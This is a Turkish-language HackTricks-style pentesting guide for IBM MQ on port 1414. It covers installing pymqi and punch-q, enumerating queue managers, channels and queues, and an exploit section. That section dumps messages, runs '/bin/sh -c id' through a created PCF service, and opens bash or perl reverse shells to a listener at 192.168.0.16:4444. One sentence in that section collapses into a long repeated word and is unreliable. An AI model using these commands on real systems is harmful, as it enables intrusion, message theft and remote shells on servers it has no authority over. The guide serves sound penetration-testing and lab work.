1414 - Pentesting IBM MQ

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin!

Temel bilgiler

IBM MQ, mesaj kuyruklarını yönetmek için kullanılan bir IBM teknolojisidir. Diğer mesaj aracısı teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için kullanılır.

Varsayılan olarak, IBM MQ TCP bağlantı noktası 1414 olarak açılır. Bazen, HTTP REST API bağlantı noktası 9443 üzerinde açılabilir. Metrikler (Prometheus) TCP bağlantı noktası 9157 üzerinden erişilebilir.

IBM MQ TCP bağlantı noktası 1414, mesajları, kuyrukları, kanalları vb. manipüle etmek için kullanılabilir, ancak aynı zamanda örneği kontrol etmek için de kullanılabilir.

IBM, https://www.ibm.com/docs/en/ibm-mq adresinde geniş bir teknik belge sağlamaktadır.

Araçlar

Kolay sömürü için önerilen bir araç punch-q, Docker kullanımıyla. Araç, Python kütüphanesi pymqi'yi aktif olarak kullanmaktadır.

Daha manuel bir yaklaşım için, Python kütüphanesi pymqi kullanın. IBM MQ bağımlılıkları gereklidir.

pymqi'nin kurulumu

IBM MQ bağımlılıkları kurulmalı ve yüklenmelidir:

  1. https://login.ibm.com/ adresinde bir hesap (IBMid) oluşturun.

  2. Arşivi açın (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. Lisans koşullarını kabul etmek için sudo ./mqlicense.sh komutunu çalıştırın.

Eğer Kali Linux altındaysanız, mqlicense.sh dosyasını düzenleyin: aşağıdaki satırları (105-110 arasındaki satırlar) kaldırın/yorumlayın:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Bu paketleri kurun:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Ardından, geçici olarak .so dosyalarını LD'ye ekleyin: export LD_LIBRARY_PATH=/opt/mqm/lib64, bu bağımlılıkları kullanan diğer araçları çalıştırmadan önce.

Daha sonra, pymqi projesini klonlayabilirsiniz: ilginç kod parçacıkları, sabitler içerir... Veya doğrudan kütüphaneyi şu komutla yükleyebilirsiniz: pip install pymqi.

punch-q Kullanımı

Docker ile

Basitçe şunu kullanın: sudo docker run --rm -ti leonjza/punch-q.

Docker olmadan

punch-q projesini klonlayın ve ardından kurulum için readme'yi takip edin (pip install -r requirements.txt && python3 setup.py install).

Sonra, punch-q komutuyla kullanılabilir.

Numaralandırma

punch-q veya pymqi ile kuyruk yöneticisi adını, kullanıcıları, kanalları ve kuyrukları numaralandırmayı deneyebilirsiniz.

Kuyruk Yöneticisi

Bazen, Kuyruk Yöneticisi adını almak için herhangi bir koruma olmayabilir:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Kanallar

punch-q, mevcut kanalları bulmak için dahili (değiştirilebilir) bir kelime listesi kullanır. Kullanım örneği:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Bazı IBM MQ örnekleri, kimlik doğrulaması yapılmamış MQ isteklerini kabul eder, bu yüzden --username / --password gerekmez. Tabii ki, erişim hakları da değişebilir.

Bir kanal adı (burada: DEV.ADMIN.SVRCONN) elde ettiğimiz anda, diğer tüm kanalları sıralayabiliriz.

Sıralama temel olarak pymqi'den bu kod parçacığı code/examples/dis_channels.py ile yapılabilir:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Ancak punch-q ayrıca bu bölümü de içerir (daha fazla bilgiyle!). Aşağıdaki komutla başlatılabilir:

punch-q

Bu komut, IBM MQ sunucusuna karşı bir saldırı gerçekleştirmek için kullanılır.

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Kuyruklar

pymqi ile ilgili bir kod parçacığı (dis_queues.py) bulunmaktadır, ancak punch-q kuyruklar hakkında daha fazla bilgi almayı sağlar:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Mesajları Dump Etme

Belirli bir kuyruğa/kanala hedef alarak, mesajları onlardan çalmak/dump etmek mümkündür (yıkıcı olmayan işlem). Örnekler:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Tüm belirlenen kuyruklarda tekrarlamaktan çekinmeyin.

Kod yürütme

Devam etmeden önce bazı detaylar: IBM MQ birden fazla şekilde kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Bazı genel listeler IBM MQ belgelerinde bulunabilir. PCF (Programlanabilir Komut Biçimleri) uzaktan örnekle etkileşimde bulunmak için odaklandığımız şeydir. punch-q ve daha da önemlisi pymqi PCF etkileşimlerine dayanır.

PCF komutlarının bir listesini bulabilirsiniz:

İlginç bir komut MQCMD_CREATE_SERVICE ve belgeleri burada bulunabilir. Argüman olarak, örneğin (/bin/sh) örneğinde olduğu gibi, örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekteki örnekte

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ günlüklerinde, komutun başarıyla çalıştırıldığını okuyabilirsiniz:

2023-10-10T19:13:01.713Z AMQ5030I: '808544aa7fc94c48' komutu başlatıldı. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Ayrıca, makinedeki mevcut programları da sıralayabilirsiniz (burada /bin/doesnotexist ... mevcut değil):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Dikkat edin, program başlatma işlemi asenkron olarak gerçekleşir. Bu nedenle, saldırıyı kullanmak için ikinci bir öğeye ihtiyacınız vardır (ters kabuk için dinleyici, farklı bir hizmette dosya oluşturma, ağ üzerinden veri sızdırma...)

Örnek 2

Kolay bir ters kabuk için, punch-q ayrıca iki ters kabuk yükü de sunar:

  • Bir tanesi bash ile

  • Bir tanesi perl ile

Tabii ki, execute komutuyla özel bir tane oluşturabilirsiniz.

Bash için:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Perl için:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Özel PCF

IBM MQ belgelerine derinlemesine inceleyebilir ve belirli bir PCF komutunu test etmek için pymqi python kütüphanesini doğrudan kullanabilirsiniz. Bu, punch-q tarafından uygulanmayan özel bir PCF komutunu test etmek için kullanılabilir.

Örnek:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Eğer sabit isimleri bulamazsanız, IBM MQ belgelerine başvurabilirsiniz.

Örnek için MQCMD_REFRESH_CLUSTER (Ondalık = 73). MQCA_CLUSTER_NAME (Ondalık = 2029) parametresine ihtiyaç duyar, bu da * olabilir (Belge: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Hata")
else:
    print(response)

qmgr.disconnect()

Test ortamı

IBM MQ davranışını ve zafiyetleri test etmek isterseniz, Docker tabanlı yerel bir ortam kurabilirsiniz:

  1. ibm.com ve cloud.ibm.com üzerinde bir hesaba sahip olun.

  2. IBM MQ'yu bir konteyner üzerinde oluşturun:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı admin ve şifre passw0rd (Ortam değişkeni MQ_ADMIN_PASSWORD) olarak ayarlanmıştır. Burada, kuyruk yöneticisi adı MYQUEUEMGR (değişken MQ_QMGR_NAME) olarak ayarlanmıştır.

IBM MQ'nun çalışır durumda olması ve bağlantı noktalarının açık olması gerekmektedir:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ docker görüntülerinin eski sürümü şurada bulunabilir: https://hub.docker.com/r/ibmcom/mq/.

Referanslar

Last updated